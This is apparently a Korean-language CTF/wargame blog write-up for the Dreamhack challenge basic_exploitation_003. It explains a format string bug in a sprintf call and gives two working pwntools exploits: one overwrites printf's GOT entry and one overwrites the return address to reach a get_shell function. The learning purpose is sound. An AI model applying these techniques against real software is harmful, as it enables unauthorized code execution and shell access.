TIL: Format String Bug 2

Wargame: basic_exploitation_003

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};

    initialize();

    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);

    return 0;
}

Vulnerability Scanning

  • checksec

  • sprintf(stack_buf, heap_buf)에서 사용자가 입력한 heap_buf를 사용하므로, fsb가 일어날 수 있다.
  • get_shell()을 실행하면 shell을 획득할 수 있다.

Exploit

sprintf(stack_buf, heap_buf)에서 일어나는 fsb를 이용해 printf의 GOT entry를 get_shell의 주소로 변경해 shell을 획득하고자 했다.

from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 13267)
e = ELF("./basic_exploitation_003")

get_shell = 0x08048669
printf_got = e.got["printf"]

payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(printf_got + 2)
payload += p32(printf_got + 3)

s = "%{}c".format(0x69 - 0x10)
s += "%1$hhn"
s += "%{}c".format(0x86 - 0x69)
s += "%2$hhn"
s += "%{}c".format(0x04 - 0x86 + 0x100)
s += "%3$hhn"
s += "%{}c".format(0x08 - 0x104 + 0x100)
s += "%4$hhn"

payload += s.encode()

p.sendline(payload)

p.interactive()
  • 처음에는 payload를 아래와 같이 작성하려 했으나, sprintf에서 segmentation fault가 발생했다. 아마도 stack_buf에 작성되는 문자열의 길이가 너무 길어 stack을 넘어서 write 권한이 없는 공간에까지 침범해서 seg fault가 발생한 것으로 보여 이 길이를 줄이기 위해 한 바이트씩 입력하도록 exploit code를 수정했다.

      payload = p32(printf_got)
      payload += p32(printf_got + 2)
        
      s = "%{}c".format(0x8669 - 0x8)
      s += "%1$hn"
      s += "%{}c".format(0x0804 - 0x8669 + 0x10000)
      s += "2$hn"
        
      payload += s.encode()
    

    한 가지 의문인 점은 gdb에서 vmmap, 혹은 info proc mappings를 통해 stack의 크기를 확인해보면 아래와 같이 0x21000이라고 뜨는데, 내가 위 payload를 통해 stack에 입력하는 데이터의 양은 약 0x10804 byte이므로 stack의 size보다 작다는 점이다. 따라서 이 데이터의 양이 stack의 범위를 벗어나지 않으므로 seg fault가 발생하지 않아야 한다고 생각했다.

    궁금증을 해결하기 위해 sprintf를 실행할 시점의 $esp의 값을 gdb로 확인해보았다. $esp의 값은 0xffffd2b8임을 확인할 수 있다. vmmap, 혹은 info proc mappings로 확인한 stack의 end addr (bottom)의 주소는 0xffffe000이므로, 현재 할당된 stack의 size는 0xd48 byte밖에 되지 않음을 확인할 수 있다. 따라서 vmmap에서 출력된 stack의 size는 사실 stack의 최대 size인 것이고, 실제 stack의 size는 내가 작성했던 데이터의 양보다 훨씬 작았음을 확인할 수 있었다.

두 번째 풀이

sprintf에서 사용자가 입력한 값을 stack에 작성한다는 사실을 이용해 stack 상의 return address를 overwrite할 수 있다.

from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 13267)
e = ELF("./basic_exploitation_003")

get_shell = e.symbols["get_shell"]

payload = "%{}c".format(0x9c).encode() + p32(get_shell)

p.sendline(payload)

p.interactive()
  • gdb를 통해 stack의 구조를 아래와 같이 파악할 수 있다.

    stack_buf 0x90
    heap_buf의 주소 0x4
    dummy 0x8
    return address 0x4

    따라서 0x90 + 0x4 + 0x8 = 0x9c byte만큼의 dummy data를 작성하고, 그 뒤에 get_shell의 주소를 작성하면 된다.

    이때 heap_buf의 size가 0x80으로 제한되어 있으므로, 직접 0x9c byte만큼의 데이터를 작성하지 않고, format string을 활용해 작성한다. (”%{}c”.format(0x9c))

Categories: ,

Updated:

Leave a comment